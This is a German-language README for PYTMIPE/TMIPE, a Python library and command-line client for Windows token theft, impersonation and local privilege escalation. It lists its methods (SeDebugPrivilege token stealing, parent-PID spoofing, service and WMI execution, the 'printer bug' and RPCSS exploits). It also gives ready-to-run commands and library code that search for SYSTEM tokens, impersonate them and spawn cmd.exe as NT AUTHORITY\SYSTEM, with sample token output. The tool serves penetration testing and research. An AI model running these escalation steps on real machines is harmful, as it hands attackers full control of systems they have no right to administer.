
Python-Bibliothek und Client für Token-Manipulationen und Identitätswechsel zur Privilegienerweiterung auf Windows
PYTMIPE (PYthon-Bibliothek für Token-Manipulation und Impersonation zur Privilegienausweitung) ist eine Python 3 Bibliothek zur Manipulation von Windows-Tokens und zur Verwaltung von Impersonationen, um auf Windows mehr Privilegien zu erlangen. TMIPE ist der Python 3-Client, der die pytmipe-Bibliothek verwendet.
Folien „Windows Token Manipulation, Impersonation & Privilege Escalation“ (Englisch): Link
Artikel in MISC 112 (Französisch): Link
| Methode | Erforderliche Berechtigung(en) | Betriebssystem (nicht abschließend) | Direktes Ziel (max) |
|---|---|---|---|
| Token-Erstellung und -Impersonation | Benutzername und Passwort | Alle | Lokaler Administrator |
| Token-Impersonation/-Diebstahl | SeDebugPrivilege | Alle | nt authority\system |
| Parent-PID-Spoofing (Handle-Vererbung) | SeDebugPrivilege | >= Vista | nt authority\system |
| Dienst (SCM) | Lokaler Administrator (und hohe Integritätsstufe, falls UAC aktiviert) | Alle | nt authority\system oder Domänenkonto |
| WMI-Ereignis | Lokaler Administrator (und hohe Integritätsstufe, falls UAC aktiviert) | Alle | nt authority\system |
| „Printer Bug“ LPE | SeImpersonatePrivilege (Dienstkonto) | Windows 8.1, 10 & Server 2012R2/2016/2019 | nt authority\system |
| RPCSS-Dienst LPE | SeImpersonatePrivilege (Dienstkonto) | Windows 10 & Server 2016/2019 | nt authority\system |
Die folgende nicht abschließende Liste zeigt einige in der pytmipe-Bibliothek implementierte Funktionen:
ctypes wird so weit wie möglich verwendet. Viele Funktionen von pywin32 wurden in pytmipe neu entwickelt, um die Verwendung von pywin32 zu vermeiden und eine bessere Portabilität zu erreichen. Das Modul für die Aufgabenplanung verwendet jedoch aus Zeitmangel weiterhin pywin32 (genauer pythoncom). Alle anderen Module verwenden nur ctypes.
Für den Python-Client (genannt tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
Choose a main command
cangetadmin Check if user can get admin access
printalltokens Print all tokens accessible from current thread
printalltokensbyname
Print all tokens accessible from current thread by account name
printalltokensbypid Print all tokens accessible from current thread by pid
printsystemtokens Print all system tokens accessible from current
searchimpfirstsystem
search and impersonate first system token
imppid impersonate primary token of selected pid and try to spawn cmd.exe
imptoken impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
printerbug exploit the "printer bug" for getting system shell
rpcss exploit "rpcss" for getting system shell
spoof parent PID Spoofing ("handle inheritance)"
impuser create process with creds with impersonation
runas create process with creds as runas
scm create process with Service Control Manager
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Für die Python-Bibliothek (genannt pytmipe) siehe Quellcode und Beispiele. Normalerweise habe ich den Quellcode gut dokumentiert… Die meisten Funktionen sind dokumentiert.
Für die pyinstaller-Beispiele und Standalones siehe Dateien im Ordner src/examples/.
Wenn Sie wissen möchten, wie Sie die pytmipe-Bibliothek verwenden, sehen Sie sich den Ordner src/examples für viele Beispiele an.
Um das erste system-Token zu impersonieren und eine cmd.exe-Eingabeaufforderung als system über den Python-Client (tmipe) zu erhalten:
python.exe tmipe.py searchimpfirstsystem -vv
Um dasselbe direkt mit der pytmipe-Bibliothek zu tun, siehe src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
Es wird eine cmd.exe-Eingabeaufforderung als system öffnen, wenn der aktuelle Windows-Benutzer die erforderlichen Rechte hat.
Natürlich können Sie aus diesem Quellcode mit pyinstaller eine Standalone-Exe erstellen.
Um die im aktuellen Prozess verwendeten Primär- und Impersonation-Token abzurufen:
python.exe tmipe.py printalltokens --current --full --linked
Ausgabe:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
Um alle Token abzurufen, die vom aktuellen Thread aus zugänglich sind, organisiert nach PID, wenn nur die Impersonation möglich ist:
python.exe tmipe.py printalltokensbypid --imp-only
Ausgabe:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
Wenn Sie diesen Vorgang mit der pytmipe-Bibliothek durchführen möchten, ist das auch einfach:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
Sie können ein ausgewähltes Token impersonieren.
Zuerst alle Token gemäß Ihren Filtern abrufen (system-Token und Token, die vom aktuellen Thread impersoniert werden können):
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
Ausgabe:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
Diese vorherige Ausgabe zeigt ein Impersonation-Token in der PID 2288 (ihandle 118) mit Integritätsstufe system. Es ist möglich, dieses spezifische Token mit folgendem Befehl zu impersonieren:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
Dieser vorherige Befehl öffnet eine cmd.exe als nt authority\system.
Dies kann auch mit der pytmipe-Bibliothek durchgeführt werden. Der folgende Quellcode impersoniert das erste verfügbare system-Token, gibt das effektive Token aus und beendet die Impersonation:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("No one token found for impersonation")
else:
pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("Current Effective token for current thread after impersonation:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("Current Effective token for current thread (impersonation finished):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
Wenn Sie meine Arbeit durch eine Spende unterstützen möchten, würde ich mich sehr freuen:
Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf